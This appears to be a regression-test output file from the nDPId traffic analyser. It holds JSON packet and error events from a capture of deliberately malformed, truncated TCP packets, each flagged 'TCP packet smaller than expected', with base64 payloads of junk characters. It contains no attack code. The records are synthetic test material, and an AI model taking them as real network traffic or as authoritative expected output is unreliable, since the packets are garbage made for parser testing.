-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7309,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2kAGRNcKAAACCoAAAigpKComXiUkI0AjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7310,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031690655} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7310,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3EAGRNUKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7311,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031690669} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7311,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3kAGRNMKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7312,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031690683} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7312,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4EAGRNEKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7313,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031690697} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7313,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4kAGRM8KAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7314,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031690711} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7314,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5EAGRM0KAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7315,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031690726} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7315,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5kAGRMsKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7316,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031690740} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7316,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6EAGRMkKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7317,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031690754} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7317,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6kAGRMcKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7318,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031690769} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7318,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7EAGRMUKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7319,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031690783} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7319,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7kAGRMMKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7320,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031690797} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7320,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8EAGRMEKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7321,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031690812} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7321,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8kAGRL8KAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7322,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031690826} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7322,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9EAGRL0KAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7323,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031690840} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7323,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9kAGRLsKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7324,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031690854} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7324,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+EAGRLkKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7325,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031690868} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7325,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+kAGRLcKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7326,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031690882} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":7326,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/EAGRLUKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7327,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031690897} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":7327,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/kAGRLMKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7328,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031690912} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7328,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAEAGRLEKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7329,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031690926} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":7329,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAkAGRK8KAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7330,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031690942} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7330,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBEAGRK0KAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7331,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031690956} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7331,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBkAGRKsKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7332,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031690970} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7332,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCEAGRKkKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7333,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031690984} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7333,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCkAGRKcKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7334,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031690998} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7334,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDEAGRKUKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7335,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031691012} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7335,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDkAGRKMKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7336,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031691029} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7336,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEEAGRKEKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7337,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031691043} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7337,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEkAGRJ8KAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7338,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031691057} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7338,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFEAGRJ0KAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7339,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031691072} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7339,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFkAGRJsKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7340,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031691086} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7340,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGEAGRJkKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7341,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031691100} -00362{"packet_event_id":1,"packet_event_name":"packet","packet_id":7341,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGkAGRJcKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7342,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031691114} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7342,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHEAGRJUKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7343,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031691129} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7343,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHkAGRJMKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7344,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031691143} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7344,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIEAGRJEKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7345,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031691157} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7345,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIkAGRI8KAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7346,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031691171} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7346,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJEAGRI0KAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7347,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031691220} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7347,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJkAGRIsKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7348,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031691235} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7348,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKEAGRIkKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7349,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031691250} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7349,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKkAGRIcKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7350,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031691264} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7350,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLEAGRIUKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7351,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031691278} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7351,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLkAGRIMKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7352,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031691292} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7352,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMEAGRIEKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7353,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031691307} 